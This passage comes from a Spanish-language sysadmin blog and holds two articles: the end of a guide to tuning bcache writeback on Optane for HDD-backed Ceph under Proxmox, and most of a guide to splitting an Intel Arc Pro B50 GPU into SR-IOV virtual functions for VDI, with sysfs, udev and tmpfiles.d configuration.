ser secuencial en el plato una vez que varios OSD se entrelazan, y quieres cada escritura reconocida a velocidad de Optane pase lo que pase. Sí conlleva una obligación, eso sí — sin bypass, el propio ancho de banda de escritura secuencial del dispositivo de cache se vuelve el techo para todo el OSD, que es por qué los módulos de 16 GB quedan descalificados.\ncongested_read_threshold_us=0 — bcache vigila la latencia de su propio dispositivo de cache y empieza a saltarse el cache cuando lo juzga congestionado, por defecto a 2000 µs para lecturas. Optane no se congestiona de la manera en que lo hace la NAND, así que esto es bcache dudando de un dispositivo que ha malmedido. Cero apaga el seguimiento.\nwriteback_rate=81920 y writeback_rate_minimum=20480 — la tasa de vaciado de fondo, en sectores por segundo, así que un objetivo de unos 40 MB/s con un suelo de 10 MB/s. Un controlador PD mueve la tasa real entre ellos. El objetivo se pone cerca de lo que un plato puede absorber en secuencial, y el suelo impide que el controlador estrangule el vaciado hacia cero y deje que los datos sucios se acumulen indefinidamente. Ambos son puntos de partida en vez de constantes — cómo cambiarlos está abajo.\nwriteback_percent=40 — cuánto del cache dejará bcache que se quede sucio antes de empujar fuerte hacia atrás, contra un valor por defecto de 10. Cuarenta te da un buffer de ráfaga mucho más profundo. También significa que hasta el 40% de esa Optane guarda la única copia de datos del sistema, que es el compromiso, y es la razón por la que la disposición de una-por-plato importa. Este es el valor que más vale la pena revisar una vez que has observado una carga de trabajo real.\nCambiar los valores de llenado y vaciado más tarde El 40% y las dos tasas de arriba son los valores que corren aquí, no constantes universales. Son lo primero que querrás mover una vez que has observado una carga de trabajo real, así que vale la pena saber que hay dos sitios donde cambiarlos, haciendo dos cosas distintas.\nsysfs lo cambia ahora. La regla udev lo cambia al siguiente arranque. Quieres ambos, y en ese orden.\nCámbialo en vivo, en un dispositivo:\necho 30 \u0026gt; /sys/block/bcache0/bcache/writeback_percent O en cada pareja del nodo:\nfor d in /sys/block/bcache*/bcache; do echo 30 \u0026gt; \u0026#34;$d/writeback_percent\u0026#34; done La tasa de vaciado funciona igual. Ambos valores son en sectores por segundo, así que estos reducen a la mitad el objetivo y el suelo:\nfor d in /sys/block/bcache*/bcache; do echo 40960 \u0026gt; \u0026#34;$d/writeback_rate\u0026#34; echo 10240 \u0026gt; \u0026#34;$d/writeback_rate_minimum\u0026#34; done Eso surte efecto de inmediato y sobrevive exactamente hasta que el dispositivo se vuelve a registrar. La documentación del kernel es explícita en que estos ajustes «do not persist across reboot» — no persisten a través del reinicio — que es la razón entera por la que la regla udev existe.\nUna vez que estés contento con un valor, edita la regla y recárgala sin reiniciar:\nudevadm control --reload udevadm trigger --subsystem-match=block --action=change Aquí es donde ACTION==\u0026quot;add|change\u0026quot; gana su sustento. El disparo lanza un evento change a los dispositivos que ya están presentes, así que la regla se reaplica a un nodo en marcha en vez de esperar al siguiente arranque. Si la regla hubiera casado con add solo, ese comando no haría nada.\nLuego relee los valores, porque una errata en una regla udev falla en silencio:\ngrep . /sys/block/bcache*/bcache/writeback_percent Saber en qué sentido moverlos No ajustes esto desde primeros principios — bcache expone lo que necesitas bajo el mismo directorio de sysfs.\ndirty_data es el que vigilar: cuántos datos están sentados ahora mismo en el cache y en ningún otro sitio. La documentación lo describe como «continuously updated unlike the cache set\u0026rsquo;s version, but may be slightly off» — actualizado continuamente a diferencia de la versión del conjunto de cache, pero puede estar ligeramente desfasado — lo que está bien para este propósito. Muestréalo a lo largo de un día de trabajo normal y una ventana de copia de seguridad.\ncache_hits, cache_misses y cache_hit_ratio te dicen si el cache se está usando, con la salvedad de que «a partial hit is counted as a miss» — un acierto parcial se cuenta como fallo. bypassed cuenta la IO que se saltó el cache del todo — con sequential_cutoff=0 eso debería estar cerca de plano, así que un número creciente significa que algo todavía se está enrutando alrededor de él.\nTodos esos vienen como totales corrientes más versiones que decaen a lo largo del último día, hora y cinco minutos, lo que hace las de ventana corta mucho más útiles para detectar un problema que la cifra de por vida.\nDe ahí:\nSíntoma Mando Sentido Las ráfagas se atascan — las escrituras topan con la latencia del plato a media ráfaga writeback_percent arriba, para un buffer más profundo Más datos expuestos en el cache de los que te resultan cómodos writeback_percent abajo dirty_data clavado en el techo durante trabajo ordinario writeback_rate arriba — el buffer no es el problema, el drenaje sí Vaciado de fondo compitiendo con las lecturas de invitado en el plato writeback_rate abajo dirty_data trepando a lo largo de días en vez de horas writeback_rate_minimum arriba, para que el controlador no pueda estrangular hasta el paso de tortuga Si dirty_data se queda clavado en el techo hagas lo que hagas, ninguno de los mandos es la respuesta — el clúster está escribiendo más rápido de lo que los platos pueden absorber, y los arreglos honestos son más platos o menos escrituras.\nUn fichero que dejar en paz: writeback_running. Ponerlo en apagado detiene el writeback del todo, y la documentación dice que es «only meant for benchmarking» — solo pensado para hacer benchmarks. En un OSD de producción significa que los datos sucios se acumulan hasta que el cache está lleno y nunca se drenan.\nLo que estás cediendo La mayoría de los artículos sobre este diseño se paran en las buenas noticias. Estas son las partes que de verdad te harán daño, y cada una vale la pena conocerla antes de construir en vez de después.\nLos dos dispositivos añadidos fallan de forma muy distinta El NVMe de DB/WAL compartido muere block.db para osd.0–2 perdido osd.0 perdido osd.1 perdido osd.2 perdido Tres OSD, un evento. Un fallo correlacionado por el nodo, que es exactamente de lo que la replicación no te protege. Elige el ratio por la reconstrucción que estás dispuesto a aguantar, no por el precio por OSD. Una Optane emparejada muere Optane de osd.0 perdido Optane de osd.1 bien Optane de osd.2 bien osd.0 perdido osd.1 sirviendo osd.2 sirviendo Un OSD, y Ceph hace esto cada día. El radio de explosión son los datos de un solo disco, que es el fallo que un pool replicado existe para absorber. Este es el argumento entero para comprar varios dispositivos pequeños en vez de uno grande. Misma clase de pérdida en ambos lados — cada dispositivo guarda estado que no existe en ningún otro sitio, y el OSD se destruye en vez de pararse y hay que recrearlo y rellenarlo. Solo el recuento difiere, y eso es lo que compra el emparejamiento de uno-por-plato. Ambos dispositivos añadidos guardan estado que no existe en ningún otro sitio, así que perder cualquiera de los dos destruye los OSD que dependen de él. La diferencia es solo cuántos son: el NVMe de DB/WAL compartido tumba cada OSD detrás de él, mientras que una Optane emparejada uno a uno tumba exactamente uno. Eso es lo que compran los dispositivos extra. Perder cualquiera de los dos dispositivos de flash destruye el OSD. No lo para — lo destruye. Ambos dispositivos guardan estado que no existe en ningún otro sitio: block.db guarda el RocksDB que da sentido a block, y un cache de writeback guarda cada escritura aún no vaciada. La documentación del kernel no se anda con rodeos sobre el segundo: «In writeback mode you\u0026rsquo;ll lose data if something happens to your SSD» — en modo writeback perderás datos si algo le pasa a tu SSD. De cualquier modo el OSD no vuelve, se recrea y se rellena.\nAsí que estos son la misma clase de riesgo, y vale la pena ser claro sobre eso en vez de tratar el cache como el que da miedo. La Optane no es un dispositivo más peligroso que el NVMe. Dos cosas los separan, y ninguna es la severidad por OSD.\nLa primera es el radio de explosión, y es la justificación entera del emparejamiento. Una Optane por plato significa que un fallo de cache cuesta un OSD — una pérdida de un solo disco, que es exactamente el evento que un pool replicado existe para absorber, y que Ceph maneja sin que a nadie le llegue un aviso. El dispositivo de DB/WAL se comparte, así que perderlo cuesta cada OSD detrás de él a la vez, que es un fallo correlacionado del que la replicación no te protege. El mismo fallo, un dispositivo contra cinco.\nLa segunda es cómo se presenta el fallo, y esta es una trampa operativa. Cuando un cache muere en writeback el dispositivo de respaldo se detiene y devuelve errores de E/S, lo que está bien — Ceph marca el OSD como caído y sigue adelante. El caso malo es un reinicio donde el dispositivo de respaldo sube sin su cache adjuntado. Entonces parece un sistema de ficheros montable al que simplemente le falta cada escritura sucia, que es corrupto en vez de meramente rancio. Un block.db ausente falla con estruendo y el OSD se niega a arrancar; un cache ausente puede fallar en silencio y dejarte montar los restos. Trata un dispositivo de respaldo de bcache como no montable sin su cache, y nunca dejes que nada te lo monte servicialmente.\nbcache no garantiza el writeback a prueba de corte de corriente por sí solo. Aquí es donde el cache de escritura del HDD deja de ser una optimización y se vuelve un requisito — apágalo, y corre un kernel lo bastante reciente como para tener el manejo de FUA, para que las escrituras síncronas se honren a través de la pila en vez de reconocerse pronto en algún punto del medio. Un dispositivo de cache sin protección contra pérdida de corriente agrava el problema, porque puede perder datos que ya ha reportado a salvo.\nLo que hace del ratio de DB/WAL el número que importa. Ceph permite 4–5 OSD de HDD por SSD SATA y no más de 15 por NVMe, y advierte sobre «balancing the risk of reducing costs by placing too many responsibilities into too few failure domains» — equilibrar el riesgo de reducir costes metiendo demasiadas responsabilidades en demasiado pocos dominios de fallo. A diferencia de la capa de cache no hay emparejamiento disponible para contener este — compartir es el objeto del dispositivo.\nEn discos de 20 TB esa es toda la conversación, porque la reconstrucción es enorme. Un OSD fallido son 20 TB que rellenar; a los 150–250 MB/s que un plato sostiene, estrangulado para que la recuperación no deje sin comer a los invitados, estás mirando bastante más de un día de operación degradada para un solo disco. Pierde un dispositivo de DB compartido que lleve cinco de ellos y hay 100 TB que mover.\nAsí que el ratio no es realmente una decisión de coste. Es una decisión sobre cuánto tiempo estás dispuesto a correr degradado, y cuánto tráfico de reconstrucción puede llevar el clúster mientras sigue sirviendo VM.\nEl diseño depende de un dispositivo que ya nadie fabrica. Este es el que no tiene respuesta técnica. Optane es la pieza correcta para la posición de cache y nada actual la reemplaza — la NAND no puede aguantar el volumen de escritura, y la memoria basada en CXL hacia la que Intel giró no es un reemplazo directo para un cache de bloques. Así que la mitigación es comercial en vez de ingeniosa, está cubierta arriba, y el resumen honesto es que esta arquitectura tiene una fecha de fin en algún punto allá en el futuro.\nNada de esto convierte un clúster de HDD en un clúster todo-flash. El tráfico de escritura aleatoria sostenido que supere la tasa de vaciado llenará el cache, y una vez lleno estás escribiendo a velocidad de plato con capas extra en el camino. Este diseño absorbe ráfagas y quita la sobrecarga de metadatos. No fabrica IOPS.\nLo que suma en total Tres capas, cada una haciendo la única cosa en la que es mejor — y las tres son necesarias:\nOptane absorbe las ráfagas de escritura aleatoria, un dispositivo por plato. Tiene que ser Optane, porque cada escritura lo cruza y la resistencia de la NAND es la equivocada para esa posición Un NVMe de empresa rápido guarda RocksDB y el WAL, compartido entre un puñado de OSD a un ratio que elegiste deliberadamente en vez de aceptar Los HDD aportan la capacidad en bruto, liberados tanto de metadatos como de ráfagas El objetivo no es fingir que los discos giratorios son flash. Es dejar de enviarles el trabajo en el que son peores, para que la capacidad que de verdad pagaste sea usable.\nEse es el truco entero, y no hay nada ingenioso en él. Pon cada trabajo en el dispositivo que es bueno en él, y deja de pagar dos veces por los que no.\nPara un clúster hiperconvergido de Proxmox que necesita capacidad de varios terabytes sin el precio del todo-flash, ese es un diseño defendible. Construido como es debido se siente mucho más rápido que los HDD en bruto, falla de maneras que Ceph está construido para manejar, y el dinero va a donde cambia el resultado.\nDos cosas relacionadas que vale la pena leer junto a esto: el trabajo de tamaño de sector en 4Kn, 512e y 512n importa muchísimo para lo que los platos hacen con las escrituras que les llegan, y si estás construyendo esto sobre nodos de conexión directa, el mesh sin switch cubre el lado de red de un clúster Ceph pequeño.\nReferencias Ceph — Hardware Recommendations — la advertencia de IOPS-por-TB en los HDD grandes, \u0026ldquo;HDD OSDs may see a significant write latency improvement by offloading WAL+DB onto an SSD\u0026rdquo;, los ratios de 4–5 HDD por SSD SATA y ≤15 por NVMe, la protección contra pérdida de corriente en los SSD de empresa, desactivar el cache de escritura del HDD, y no necesitar un HBA RoC Ceph — BlueStore Configuration Reference — block.db al 1–2% de block para RBD y al menos 4% para RGW, la recomendación general del 2.5%, el desbordamiento de vuelta al dispositivo primario, los tamaños de nivel de RocksDB detrás de los escalones de 3/30/300 GB, y el WAL colocado implícitamente junto a la DB Linux kernel — bcache admin guide — los modos de cache, sequential_cutoff y su valor por defecto de 4 MB, el valor por defecto de congestión de lectura de 2000 µs, writeback_rate en sectores por segundo, el controlador PD de writeback_percent, los contadores dirty_data / cache_hit_ratio / bypassed y sus versiones decayentes de día, hora y cinco minutos, la advertencia de que writeback_running es \u0026ldquo;only meant for benchmarking\u0026rdquo;, la afirmación de que estos ajustes \u0026ldquo;do not persist across reboot\u0026rdquo;, y \u0026ldquo;in writeback mode you\u0026rsquo;ll lose data if something happens to your SSD\u0026rdquo; Intel — Optane Memory M10 32 GB specifications — 365 TBW, 240 000 IOPS de lectura aleatoria y 65 000 de escritura aleatoria a 4K sobre una franja de 8 GB, 1200/290 MB/s secuencial, PCIe 3.0 x2 Intel — Optane Memory M10 16 GB specifications — los 150 MB/s de escritura secuencial y las 35 000 IOPS de escritura aleatoria que ponen esta pieza por debajo de un disco giratorio en caudal secuencial PC Perspective — Optane SSD DC P4800X performance — las 550K IOPS de lectura aleatoria 4K de la pieza de 375 GB, 2400/2000 MB/s secuencial, latencia típica sub-10 µs, y 12.3 PBW a 30 DWPD ServeTheHome — Optane DC P4801X 100GB M.2 review — las piezas M.2 de centro de datos de poca capacidad, para la escalera de capacidades StorageReview — Intel Optane SSD P5800X — la valoración de 100 DWPD, los 30 DWPD de la P4800X, y la comparación contra los discos NAND de empresa que topan alrededor de 10 DWPD para piezas intensivas en escritura y 3 o menos para uso mixto Bcache — ArchWiki — los modos de fallo prácticos, incluyendo un dispositivo de respaldo subiendo sin su cache tras un reinicio, y los requisitos de seguridad ante corte de corriente en torno al cache de escritura del HDD y FUA Intel — Optane business update — la liquidación, y qué significa para la garantía y el soporte en dispositivos ya en servicio, que es la posición en la que ya está cualquier cosa que compres en el mercado de reciclaje ","permalink":"https://blogs.damiendye.uk/es/proxmox/hdd-backed-ceph-bcache-optane/","summary":"El precio del flash ha hecho difícil justificar el todo-NVMe, y los HDD de empresa merecen otra mirada. Sacarles latencia aceptable en Ceph hiperconvergido de Proxmox significa sacar RocksDB del plato, emparejar cada disco con su propia Optane a través de bcache — Optane en concreto, porque la resistencia de la NAND es la equivocada para ese trabajo — y ser honesto con los modos de fallo que te compra.","title":"Hacer rápidos los clústeres Ceph de Proxmox con HDD — metadatos en NVMe, una Optane por plato, y qué te cuesta"},{"content":"Por qué esto ha sido caro hasta ahora VDI — Infraestructura de Escritorio Virtual — entrega un escritorio completo desde un centro de datos o una instancia en la nube en vez de desde el dispositivo que tienes delante. Un usuario inicia sesión desde un portátil, un cliente ligero o su propia máquina, y obtiene un escritorio Windows o Linux familiar cuyas aplicaciones, ficheros y procesamiento ocurren todos de forma central.\nEl atractivo para un equipo de TI es que el parcheado, el control de acceso y la protección de datos ocurren todos en un solo sitio, y la gente puede llegar al mismo escritorio desde cualquier parte.\nEl obstáculo nunca ha sido el hipervisor. Ha sido la GPU.\nCompartir una GPU física entre varios escritorios ha sido territorio de NVIDIA, y NVIDIA cobra por el software vGPU que hace el troceado. Esa licencia es por lo que el VDI con gráficos acelerados por hardware ha sido casi siempre coto de empresas con presupuestos corporativos. Pagar una cuota anual para encender algo que el silicio ya sabe hacer es difícil de tomarse con ganas.\nIntel cambió la aritmética con la línea Arc Pro. Estas tarjetas soportan el troceado por hardware mediante SR-IOV estándar, que es una función de PCIe y no un producto. Como tal, no hay servidor de licencias, ni suscripción, ni software vGPU aparte que comprar.\nAsí que me hice con una Intel Arc Pro B50 para ver con qué limpieza se junta con Proxmox. La respuesta corta: el mecanismo funciona exactamente como se anuncia, y luego el firmware se puso en medio. Las dos mitades están más abajo.\nCómo una tarjeta se vuelve varias: función física en el host, funciones virtuales a los invitados Intel Arc Pro Bxx 03:00.0 — función física driver del host: xe 03:00.1 vfio-pci 03:00.2 vfio-pci 03:00.3 creada donde se soporte 03:00.4 creada donde se soporte escritorio Windows 1 acelerado por hardware escritorio Windows 2 acelerado por hardware escritorio Windows 3 acelerado por hardware escritorio Windows 4 acelerado por hardware No hay ninguna licencia de vGPU implicada en ningún punto. SR-IOV es una capacidad de PCIe que la tarjeta anuncia o no — esta la anuncia en\u0026#160;[320]. Cuántas funciones creará se fija en firmware, porque a cada una se le da una porción fija de la memoria de la tarjeta: una porción mayor significa menos funciones. Una B50 de 16 GB da dos a 8 GB cada una; las tarjetas de 24 y 32 GB reportan siete. La función física se queda con el driver xe del host. Cada función virtual es un dispositivo PCIe por derecho propio, ligado a vfio-pci y entregado a un invitado — la misma maquinaria de passthrough que una tarjeta entera, solo que varias veces. El par de rayas depende de la tarjeta: cuántas funciones creará cada una está más abajo. El elefante: necesitas Windows primero Antes de que nada de esto funcione, la tarjeta quiere que le actualicen el firmware. Intel entrega esa actualización dentro del instalador del driver de Windows.\nLo cual es incómodo, porque la razón por la que compraste la tarjeta es para usarla bajo Proxmox.\nHay una manera de sortearlo que no necesita más que Proxmox: monta una VM de Windows, pásale la tarjeta entera, deja que Windows actualice el firmware, y luego devuelve la tarjeta al host. Es un bucle de arranque, y vale la pena conocerlo antes de planear el montaje y no después.\nRomper el bucle de arranque con Windows primero con una VM temporal La pega: SR-IOV necesita firmware al día, y el firmware se entrega dentro de un instalador de driver de Windows. 1 Tarjeta en el host lspci → 03:00.0 2 Tarjeta entera → Windows hostpci0, Q35 + OVMF 3 Instalar el driver de Intel el firmware se actualiza con él 4 Reiniciar el host la tarjeta se reinicializa la tarjeta se devuelve a Proxmox 5 SR-IOV presente lspci -v → [320] 6 tmpfiles.d en el arranque numvfs, unbind, bind 7 VF a los invitados tantas como permita el firmware Los pasos 2 y 3 existen solo para actualizar el firmware. La VM de Windows es temporal — una vez que la tarjeta está de vuelta en el host no juega ningún papel más, y nada del montaje terminado depende de que Windows corra en el hipervisor. La tarjeta no puede hacer SR-IOV hasta que su firmware está al día, y la actualización de firmware llega como un driver de Windows. Una VM de Windows temporal con la tarjeta entera adjuntada rompe el bucle. Encontrar la tarjeta En el host de Proxmox, lspci para localizarla:\nlspci Aquí está en 03:00.0, reportada como Battlemage G21, el silicio detrás de la Arc Pro B50. Apunta la dirección. La vas a necesitar varias veces, y hay una función de audio aparte en 04:00.0 que viene con ella.\nPasar la tarjeta entera a una VM de Windows Añade la tarjeta a una VM de Windows como un dispositivo PCI en bruto. En el hardware de la VM, eso es una entrada PCI Device: 0000:03:00 con pcie=1:\nVale la pena fijarse en qué más es esa VM, porque nada de ello es accidental: tipo de máquina Q35, firmware OVMF, VirtIO SCSI single, y un TPM para Windows 11. Q35 en particular no es opcional para esto. Una GPU pasada por passthrough en i440fx aparece como un dispositivo PCI heredado, que es la forma equivocada para un driver de gráficos moderno. Eso se cubre en Usa siempre Q35, no i440fx.\nArranca la VM y comprueba que Windows ve la tarjeta:\nAparece como un Microsoft Basic Display Adapter porque todavía no hay driver instalado. Ese es el estado esperado, y basta. Windows ha encontrado el hardware.\nActualizar el firmware Consigue el driver actual desde la página de descargas de la Arc Pro B50 de Intel. En el momento de escribir esto era la versión 32.0.101.8306 (Q4.25), para Windows 11 y Windows 10 22H2:\nInstálalo, y deja que la actualización de firmware corra como parte del proceso en vez de cancelarla pronto. Ese paso del firmware es la razón entera de este desvío.\nCuando termine, devuelve la tarjeta al host y reinicia, para que se reinicialice del todo bajo Proxmox.\nConfirmar que SR-IOV está ahí Ahora pregúntale a la tarjeta qué sabe hacer:\nlspci -v La línea que importa:\nCapabilities: [320] Single Root I/O Virtualization (SR-IOV) Esa es la propuesta entera en una línea de salida de lspci, sin ninguna licencia atada.\nOtras tres cosas en esa salida vale la pena leerlas ya que estás:\nKernel driver in use: xe — la tarjeta va sobre el driver xe más nuevo de Intel en vez de i915, que es lo que va a crear las funciones virtuales. [420] Physical Resizable BAR y [220] Virtual Resizable BAR — la tarjeta soporta BAR redimensionables, y también sus funciones virtuales. Vale la pena saber qué te cuesta eso en espacio de direcciones si vas a pasar varias por passthrough: mira PCIe Resizable BAR y las GPU modernas. IOMMU group 13 — la tarjeta está en un grupo para ella sola, que es lo que quieres para un passthrough limpio. Por qué importa eso está en el artículo del impuesto del IOMMU. Crear las funciones virtuales en el arranque Las funciones virtuales no son persistentes. Pedirlas es una escritura a sysfs, así que tiene que pasar en cada arranque.\ntmpfiles.d es una manera pulcra de hacer eso de forma declarativa, en vez de atornillar un script a un fichero de unidad:\nEl fichero hace tres trabajos en orden.\nCrear las funciones virtuales, escribiendo el número al sriov_numvfs de la función física:\nw /sys/devices/pci0000:00/0000:00:01.1/0000:01:00.0/0000:02:01.0/0000:03:00.0/sriov_numvfs - - - - 4 Desligar cada función nueva de xe, porque el driver del host las reclama según aparecen y un invitado no puede tener un dispositivo que el host está reteniendo:\nw /sys/bus/pci/drivers/xe/unbind - - - - 0000:03:00.1 w /sys/bus/pci/drivers/xe/unbind - - - - 0000:03:00.2 w /sys/bus/pci/drivers/xe/unbind - - - - 0000:03:00.3 w /sys/bus/pci/drivers/xe/unbind - - - - 0000:03:00.4 Ligarlas a vfio-pci, que es lo que las hace disponibles para pasar por passthrough:\nw /sys/bus/pci/drivers/vfio-pci/bind - - - - 0000:03:00.1 w /sys/bus/pci/drivers/vfio-pci/bind - - - - 0000:03:00.2 w /sys/bus/pci/drivers/vfio-pci/bind - - - - 0000:03:00.3 w /sys/bus/pci/drivers/vfio-pci/bind - - - - 0000:03:00.4 Fíjate en las direcciones: la función física es 03:00.0 y las funciones virtuales salen como .1 hasta .4.\nUn detalle sobre w que explica el orden, y que te morderá si te equivocas. systemd lo documenta así: «Write the argument parameter to a file, if the file exists.» sriov_numvfs solo existe una vez que un driver se ha ligado a la función física, y las rutas de las funciones virtuales solo existen una vez que esa escritura ha pasado. Así que la secuencia en el fichero no es estilística. Cada línea depende de que la anterior haya surtido efecto.\nPor qué dos, y no cuatro El driver 32.0.101.8306 — el instalado arriba — lleva el firmware de gráficos BMG__21,1162, y esa es la versión donde Intel habilitó por primera vez SR-IOV oficialmente en Arc Pro. El valor por defecto que Intel indica para la B50 en esa versión es dos funciones virtuales, cada una con un BAR de memoria local de VF de 8 GB.\nLo que hace del número aritmética y no política. La B50 tiene 16 GB. A 8 GB por función virtual, dos es todo lo que cabe.\nHay un matiz que vale la pena saber si te pones a buscar un apaño. Antes de que existiera el soporte oficial, algunos corrían firmware más viejo que exponía 12 funciones virtuales en una B50, y volver al driver 32.0.101.6979 restaura ese número. Esas 12 compartían los mismos 16 GB, así que cada una obtenía una fracción de la memoria que obtienen las mías. La postura de Intel es que dos se eligió a propósito para dar a cada función suficiente cómputo, capacidad y ancho de banda para comportarse de forma predecible.\nAsí que el tope se puede mover, pero no por ti. El número máximo de VF y el tamaño del BAR de memoria local de VF viven en el IFWI, no hay herramienta pública para cambiar ninguno, y la respuesta soportada en una pila actual es dos.\nCuántos escritorios te da cada tarjeta La B50 es la tarjeta pequeña de la familia, y sus dos funciones son el punto más bajo de la familia. Si lo que te importa es el número de puestos, compra más arriba en la gama.\nToda la línea Battlemage Arc Pro hace SR-IOV. Lo que cambia es cuántas funciones tallará el firmware, y eso sigue a la memoria:\nTarjeta Memoria VF en la pila soportada actual Visto en otros sitios Arc Pro B50 16 GB 2, a 8 GB de BAR de VF cada una — el valor por defecto documentado de Intel 12 en firmware pre-oficial, vía driver 32.0.101.6979 Arc Pro B60 24 GB 7 reportadas 24 en un firmware temprano de ASRock, recortadas a 7 por uno posterior Arc Pro B60 Dual 2 × 24 GB 7 por GPU — dos GPU, así que 14 desde una ranura como arriba; las dos mitades son independientes Arc Pro B65 32 GB no se encontró número publicado — Arc Pro B70 32 GB 7 reportadas, en firmware 8517 4 en firmware anterior Solo la fila de la B50 está documentada por Intel. Los números de la B60 y la B70 son lo que la gente reporta de lspci, y se han movido más de una vez. La B60 en particular pasó de 24 a 7 en una actualización de firmware, que es el mismo tipo de estrechamiento que vio la B50. Nadie parece haber publicado un número de VF para la B65 en absoluto, así que trata esa fila como desconocida y no como cero.\nDos cosas se siguen de esa tabla, y las dos importan más que cualquier número suelto en ella.\nEl número de VF es una división de memoria, no una función del chip. La regla de Intel es que un BAR de memoria local de VF más grande significa menos funciones. Por eso la tarjeta de 16 GB da dos y las de 32 GB dan siete: nada de los shaders de la GPU lo decide.\nComprueba la tarjeta que estás a punto de comprar, no la familia. La presencia de SR-IOV ha variado entre fabricantes de placa sobre el mismo chip — la B60 Blower de Sparkle salió al principio sin la capacidad visible en absoluto y solo la ganó tras una actualización de firmware igsc. Pide la salida de lspci -v del modelo exacto, o cuenta con una actualización de firmware antes de fiarte de nada de esto.\nLa B60 Dual son dos tarjetas con un solo soporte La Arc Pro B60 Dual 48G Turbo de Maxsun es la interesante para el número de puestos, y lo que hay que entender es que los 48 GB no son un pool.\nSon dos GPU B60 — dos dies BMG-G21 — en una placa, con 24 GB de GDDR6 cableados a cada uno, y ningún chip de puente PCIe entre ellos. Los dos dies cuelgan directos de los dedos dorados x16 a PCIe 5.0 x8 cada uno.\nLo que significa que el host tiene que partirte la ranura. La tarjeta necesita la ranura x16 primaria bifurcada a x8/x8, y la mayoría de las placas de consumo no lo habilitan por defecto. Es un ajuste de firmware que hay que ir a buscar, en la misma categoría que los ajustes de IOMMU y ACS que necesita todo esto.\nHazlo bien y el sistema operativo ve dos GPU separadas, cada una con su propia función física y su propia capacidad SR-IOV. Así que obtienes dos lotes de funciones virtuales desde una ranura — 14 puestos si cada die se comporta como una B60 sola — y el fichero tmpfiles.d de arriba se duplica, una escritura a sriov_numvfs por die.\nHazlo mal y ves una GPU y la mitad de la tarjeta es invisible.\nVale la pena ser claro sobre lo que los 48 GB no son: un invitado adjuntado a una función virtual del primer die no puede alcanzar la memoria del segundo die. Esto son dos tarjetas de 24 GB en un solo espacio físico, que es exactamente lo que quieres para puestos de VDI y exactamente lo que no quieres para un modelo grande.\nAsí que: si dos puestos bastan, la B50 es una tarjeta de 70 W que lo hará. Si quieres siete, planea alrededor de una B70. Si quieres catorce y tienes una placa que bifurque, la B60 Dual te lleva ahí en una sola ranura.\n¿Puedes correr IA en una función virtual? Respuesta corta: trátalo como no soportado. Respuesta más larga, porque la razón importa y no es la que adivinarías.\nEstas se venden como tarjetas de IA y no están fingiendo. Los 128 motores XMX de la B50 están valorados en 170 TOPS pico, la B70 en 367, y la historia de software de Intel es real — vLLM sirve modelos desde 8B hasta 120B en las Arc Pro serie B, e IPEX-LLM y el backend SYCL de llama.cpp corren los dos en ellas.\nPero mira cómo se produce cada uno de esos resultados. Los propios números de Arc Pro de vLLM vienen de un contenedor Docker sobre metal desnudo, en sistemas con cuatro y ocho tarjetas B60 enteras haciendo paralelismo de tensores. La entrada de Intel no menciona SR-IOV ni funciones virtuales ni una sola vez.\nEse patrón se mantiene por todas partes donde miré. Intel acota los casos de uso de SR-IOV a escritorio remoto virtualizado, aceleración de gráficos del SO invitado, y codificación y decodificación de medios. El cómputo no está en esa lista, y no pude encontrar un solo caso publicado de alguien corriendo inferencia de LLM dentro de una VM adjuntada a una función virtual.\nLo que la gente hace de verdad es revelador: corren el modelo en Docker en el host, y entregan funciones virtuales a las VM para escritorios. Una persona haciendo las dos cosas a la vez reporta simplemente que «VRAM gets pretty tight» — la VRAM se pone bastante justa.\nQue es el problema real, y es aritmética y no soporte del driver.\nUna función virtual obtiene una porción fija de memoria local — 8 GB en la B50, fijada en firmware. Esa porción es el techo duro para pesos más caché KV en ese invitado, y no crece porque la tarjeta tenga más. Un modelo de 8B a FP16 son alrededor de 16 GB de pesos antes de añadir nada de contexto, así que no cabe en una función virtual de la B50 con ningún driver. Cuantiza a Q4 y un 8B cabe en unos 4 GB, dejando unos pocos GB para contexto — lo que funciona, pero está muy lejos de lo que la tarjeta puede hacer sin dividir.\nAsí que las dos cargas de trabajo compiten por la misma memoria, y el reparto se decide en firmware antes de que ninguna de las dos empiece.\nSi el trabajo es la IA, no dividas la tarjeta. Pásala entera por passthrough a una VM — el mismo passthrough hostpci0 usado para la actualización de firmware antes en este artículo — o corre el contenedor en el host y sáltate la virtualización para esa carga. Ambos le dan al modelo los 16 GB enteros y el array XMX completo.\nSi el trabajo es el VDI, las funciones virtuales son lo correcto, y espera gráficos de escritorio y no un servidor de inferencia detrás de cada una. Escritorios acelerados por hardware, reproducción de vídeo y codificación funcionan. Eso es para lo que está documentado el mecanismo.\nVale la pena decirlo claro: la ausencia de evidencia publicada no es prueba de que falle. El driver xe expone cómputo a través de Level Zero y OpenCL, y es del todo posible que un invitado respaldado por una VF los levante bien. Pero nada de Intel dice que esté validado, nadie parece haberlo enseñado funcionando, y el techo de memoria limita la recompensa aunque lo haga. Eso no es algo sobre lo que construir un plan.\nLo que sigue valiendo Dos funciones virtuales son dos escritorios de Windows acelerados por hardware desde una tarjeta, sin licencia de vGPU, sin suscripción y sin servidor de licencias. Sobre un hipervisor que no cuesta nada correr. Eso basta para probar que el enfoque funciona, que es el trabajo honesto de una B50. Es el fondo de la gama.\nPara un despliegue de VDI de verdad yo estaría especificando la B60 Dual.\nCatorce funciones desde una ranura — si cada die se comporta como una B60 sola — la pone en el mismo territorio de número de puestos que las tarjetas de NVIDIA vendidas para esta carga, a un precio mucho más bajo, y sin nada que licenciar por usuario. Esa última parte es la que se acumula. Los vApps, vPC y RTX vWS de NVIDIA se licencian todos por usuario concurrente, ya sea como suscripción anual o como licencia perpetua que hay que comprar junto a una suscripción de soporte y mantenimiento de cinco años. Cada puesto es una partida, y vuelve a caer. En el lado de Intel no hay partida equivalente. Compras la tarjeta.\nY el mecanismo es la parte que importa a largo plazo. SR-IOV en la GPU es una capacidad de PCIe, no un escalón de producto, así que el fichero tmpfiles.d simplemente crece para igualar lo que la tarjeta permita.\nLa forma es una escritura a sriov_numvfs, luego un unbind y un bind por cada función — así que dos funciones son cinco líneas, y las nueve de arriba son cuatro funciones pedidas en una tarjeta que entrega dos. Siete funciones son quince líneas. Una B60 Dual son treinta, porque cada die es su propia función física y obtiene su propia escritura a sriov_numvfs.\nNada más cambia según lo escalas. No aparece ningún servidor de licencias en ningún punto de ese fichero.\nReferencias Intel support — why the latest Arc Pro B50 firmware shows 2 SR-IOV VFs — la afirmación que hace autoridad: SR-IOV habilitado oficialmente desde el firmware de gráficos BMG__21,1162 en el driver 32.0.101.8306, dos VF a un BAR de memoria local de VF 